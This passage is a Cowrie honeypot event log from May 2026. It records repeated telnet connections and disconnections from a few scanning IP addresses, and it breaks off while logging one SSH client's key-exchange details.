{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47720,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e09dc3065a2","protocol":"telnet","message":"New connection: 162.219.178.250:47720 (10.17.0.5:23) [session: 0e09dc3065a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:29.774873Z"}
{"eventid":"cowrie.session.closed","duration":30.85179328918457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:32.349068Z","src_ip":"162.219.178.250","session":"486bb1568732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.67197155952454,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:32.687183Z","src_ip":"162.219.178.250","session":"536b6a44d793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792145252227783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:32.820993Z","src_ip":"162.219.178.250","session":"92a30eb375cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58758,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1a9c3d8e0b","protocol":"telnet","message":"New connection: 162.219.178.250:58758 (10.17.0.5:23) [session: 0a1a9c3d8e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:33.070675Z"}
{"eventid":"cowrie.session.closed","duration":31.164937734603882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:34.731869Z","src_ip":"162.219.178.250","session":"b4cb1558f200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.23701500892639,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:36.084272Z","src_ip":"188.208.141.113","session":"0092cc1ba995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37884,"dst_ip":"10.17.0.5","dst_port":23,"session":"2563ba0f3545","protocol":"telnet","message":"New connection: 188.208.141.113:37884 (10.17.0.5:23) [session: 2563ba0f3545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:40.591848Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2c6c544e9f0","protocol":"telnet","message":"New connection: 162.219.178.250:42438 (10.17.0.5:23) [session: d2c6c544e9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:40.905361Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36110,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96326dcb4a5","protocol":"telnet","message":"New connection: 162.219.178.250:36110 (10.17.0.5:23) [session: f96326dcb4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:41.887996Z"}
{"eventid":"cowrie.session.closed","duration":0.004610776901245117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:41.892456Z","src_ip":"162.219.178.250","session":"f96326dcb4a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43956,"dst_ip":"10.17.0.5","dst_port":23,"session":"69947d56e95a","protocol":"telnet","message":"New connection: 162.219.178.250:43956 (10.17.0.5:23) [session: 69947d56e95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:41.925530Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45558,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d97707aeeb9","protocol":"telnet","message":"New connection: 162.219.178.250:45558 (10.17.0.5:23) [session: 6d97707aeeb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:42.955071Z"}
{"eventid":"cowrie.session.closed","duration":47.77770209312439,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:43.395962Z","src_ip":"162.219.178.250","session":"be80f98a9637","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37892,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2c760eebcc","protocol":"telnet","message":"New connection: 188.208.141.113:37892 (10.17.0.5:23) [session: db2c760eebcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:44.950632Z"}
{"eventid":"cowrie.session.closed","duration":120.00119161605835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:45.414044Z","src_ip":"162.219.178.250","session":"dc982f95f808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51338,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b90b932ba1d","protocol":"telnet","message":"New connection: 162.219.178.250:51338 (10.17.0.5:23) [session: 1b90b932ba1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:46.882004Z"}
{"eventid":"cowrie.session.closed","duration":4.194325685501099,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:49.144828Z","src_ip":"188.208.141.113","session":"db2c760eebcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43414,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af74543fc95","protocol":"telnet","message":"New connection: 206.189.32.23:43414 (10.17.0.5:23) [session: 4af74543fc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:51.099982Z"}
{"eventid":"cowrie.session.closed","duration":31.253342390060425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:53.287415Z","src_ip":"162.219.178.250","session":"93d87016a4a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32980,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf9cfb043a23","protocol":"telnet","message":"New connection: 162.219.178.250:32980 (10.17.0.5:23) [session: bf9cfb043a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:53.876087Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44862,"dst_ip":"10.17.0.5","dst_port":23,"session":"188b97c53a4a","protocol":"telnet","message":"New connection: 188.208.141.113:44862 (10.17.0.5:23) [session: 188b97c53a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:54.147655Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34922,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1dc9653a907","protocol":"telnet","message":"New connection: 162.219.178.250:34922 (10.17.0.5:23) [session: c1dc9653a907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:55.402147Z"}
{"eventid":"cowrie.session.closed","duration":39.07151174545288,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:55.478837Z","src_ip":"188.208.141.113","session":"0eecbdaa6908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00135064125061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:56.110303Z","src_ip":"162.219.178.250","session":"ea308e23d126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.56010723114014,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:56.326418Z","src_ip":"162.219.178.250","session":"ff51043dced8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36059260368347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:56.367378Z","src_ip":"162.219.178.250","session":"fc258c123472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.429216623306274,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:56.401084Z","src_ip":"206.189.32.23","session":"668f7212d5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163921356201172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:56.774608Z","src_ip":"162.219.178.250","session":"6630be9458a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219851970672607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:57.503236Z","src_ip":"162.219.178.250","session":"84790ec42e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44878,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3b35ec74e63","protocol":"telnet","message":"New connection: 188.208.141.113:44878 (10.17.0.5:23) [session: f3b35ec74e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:57.825990Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38698,"dst_ip":"10.17.0.5","dst_port":23,"session":"e711e79e226e","protocol":"telnet","message":"New connection: 162.219.178.250:38698 (10.17.0.5:23) [session: e711e79e226e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:58.428210Z"}
{"eventid":"cowrie.session.closed","duration":31.26127290725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:58.533731Z","src_ip":"162.219.178.250","session":"a1648886f02a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174140930176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:58.817815Z","src_ip":"162.219.178.250","session":"7ba4dcd5a282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3f9c0e0b78","protocol":"telnet","message":"New connection: 162.219.178.250:39246 (10.17.0.5:23) [session: 8a3f9c0e0b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:37:59.884794Z"}
{"eventid":"cowrie.session.closed","duration":31.082356691360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:00.857159Z","src_ip":"162.219.178.250","session":"0e09dc3065a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164532661438,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:01.358207Z","src_ip":"188.208.141.113","session":"07062a3cd33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37674,"dst_ip":"10.17.0.5","dst_port":23,"session":"5040b1a3a9d8","protocol":"telnet","message":"New connection: 162.219.178.250:37674 (10.17.0.5:23) [session: 5040b1a3a9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:01.518715Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43202,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3d30568ef2","protocol":"telnet","message":"New connection: 162.219.178.250:43202 (10.17.0.5:23) [session: fd3d30568ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:02.043070Z"}
{"eventid":"cowrie.session.closed","duration":30.975666284561157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:04.046233Z","src_ip":"162.219.178.250","session":"0a1a9c3d8e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44794,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e4cd21d74f1","protocol":"telnet","message":"New connection: 162.219.178.250:44794 (10.17.0.5:23) [session: 3e4cd21d74f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:04.430712Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44824,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f9c1a7ab42","protocol":"telnet","message":"New connection: 162.219.178.250:44824 (10.17.0.5:23) [session: 38f9c1a7ab42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:04.447297Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44928,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db0de8a47ce","protocol":"telnet","message":"New connection: 162.219.178.250:44928 (10.17.0.5:23) [session: 2db0de8a47ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:04.537094Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45440,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0bbf238ccd","protocol":"telnet","message":"New connection: 162.219.178.250:45440 (10.17.0.5:23) [session: ed0bbf238ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:05.005083Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47818,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28b604146e0","protocol":"telnet","message":"New connection: 162.219.178.250:47818 (10.17.0.5:23) [session: a28b604146e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:05.978098Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44450,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffaf0fbc6f99","protocol":"telnet","message":"New connection: 162.219.178.250:44450 (10.17.0.5:23) [session: ffaf0fbc6f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:06.162511Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"c99669438143","protocol":"telnet","message":"New connection: 162.219.178.250:38236 (10.17.0.5:23) [session: c99669438143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:08.078483Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40606,"dst_ip":"10.17.0.5","dst_port":23,"session":"aea6ea086dac","protocol":"telnet","message":"New connection: 162.219.178.250:40606 (10.17.0.5:23) [session: aea6ea086dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:10.228377Z"}
{"eventid":"cowrie.session.closed","duration":0.005182743072509766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:10.233432Z","src_ip":"162.219.178.250","session":"aea6ea086dac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53538,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb9d237f15e6","protocol":"telnet","message":"New connection: 162.219.178.250:53538 (10.17.0.5:23) [session: cb9d237f15e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:10.908323Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36234,"dst_ip":"10.17.0.5","dst_port":23,"session":"98fd63d408f3","protocol":"telnet","message":"New connection: 206.189.32.23:36234 (10.17.0.5:23) [session: 98fd63d408f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:11.346648Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35440,"dst_ip":"10.17.0.5","dst_port":23,"session":"5310c8cd20f7","protocol":"telnet","message":"New connection: 188.208.141.113:35440 (10.17.0.5:23) [session: 5310c8cd20f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:11.370336Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47488,"dst_ip":"10.17.0.5","dst_port":23,"session":"aae0cc1fc1a4","protocol":"telnet","message":"New connection: 162.219.178.250:47488 (10.17.0.5:23) [session: aae0cc1fc1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:11.693147Z"}
{"eventid":"cowrie.session.closed","duration":31.396535873413086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:12.301726Z","src_ip":"162.219.178.250","session":"d2c6c544e9f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137717723846436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:13.063121Z","src_ip":"162.219.178.250","session":"69947d56e95a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699429750442505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:13.654402Z","src_ip":"162.219.178.250","session":"6d97707aeeb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59048,"dst_ip":"10.17.0.5","dst_port":23,"session":"271798bbb3d8","protocol":"telnet","message":"New connection: 162.219.178.250:59048 (10.17.0.5:23) [session: 271798bbb3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:16.389184Z"}
{"eventid":"cowrie.session.closed","duration":49.068459033966064,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:17.018228Z","src_ip":"188.208.141.113","session":"2141f6376f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34256,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5587fe8b4e","protocol":"telnet","message":"New connection: 162.219.178.250:34256 (10.17.0.5:23) [session: bd5587fe8b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:19.451364Z"}
{"eventid":"cowrie.session.closed","duration":120.00117659568787,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:19.791619Z","src_ip":"162.219.178.250","session":"8e61983b69e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44734,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f03b9dc44f8","protocol":"telnet","message":"New connection: 188.208.141.113:44734 (10.17.0.5:23) [session: 0f03b9dc44f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:21.399701Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37584,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf0a2e6e90f","protocol":"telnet","message":"New connection: 162.219.178.250:37584 (10.17.0.5:23) [session: acf0a2e6e90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:21.610587Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36430,"dst_ip":"10.17.0.5","dst_port":23,"session":"19b88591e016","protocol":"telnet","message":"New connection: 162.219.178.250:36430 (10.17.0.5:23) [session: 19b88591e016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:22.603461Z"}
{"eventid":"cowrie.session.closed","duration":43.022620677948,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:23.614344Z","src_ip":"188.208.141.113","session":"2563ba0f3545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.351244688034058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:25.498792Z","src_ip":"188.208.141.113","session":"188b97c53a4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42750,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba70a4b7b45","protocol":"telnet","message":"New connection: 162.219.178.250:42750 (10.17.0.5:23) [session: 1ba70a4b7b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:26.300043Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43252,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cbdadad20d7","protocol":"telnet","message":"New connection: 162.219.178.250:43252 (10.17.0.5:23) [session: 0cbdadad20d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:26.730919Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44662,"dst_ip":"10.17.0.5","dst_port":23,"session":"4074445abb1a","protocol":"telnet","message":"New connection: 162.219.178.250:44662 (10.17.0.5:23) [session: 4074445abb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:27.847089Z"}
{"eventid":"cowrie.session.closed","duration":30.963972806930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:29.392022Z","src_ip":"162.219.178.250","session":"e711e79e226e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40912,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da587f3f170","protocol":"telnet","message":"New connection: 162.219.178.250:40912 (10.17.0.5:23) [session: 2da587f3f170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:30.837593Z"}
{"eventid":"cowrie.session.closed","duration":0.004561901092529297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:30.842020Z","src_ip":"162.219.178.250","session":"2da587f3f170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00094223022461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:31.248522Z","src_ip":"162.219.178.250","session":"e0ca1f64b2de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49062,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b671063c00","protocol":"telnet","message":"New connection: 162.219.178.250:49062 (10.17.0.5:23) [session: 87b671063c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:31.846040Z"}
{"eventid":"cowrie.session.closed","duration":30.587210655212402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:32.630178Z","src_ip":"162.219.178.250","session":"fd3d30568ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.972864389419556,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:33.072732Z","src_ip":"206.189.32.23","session":"4af74543fc95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.126","src_port":51910,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c903310b726","protocol":"ssh","message":"New connection: 66.132.195.126:51910 (159.203.135.109:22) [session: 1c903310b726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.032192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:38:36.036948Z","src_ip":"66.132.195.126","session":"1c903310b726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-n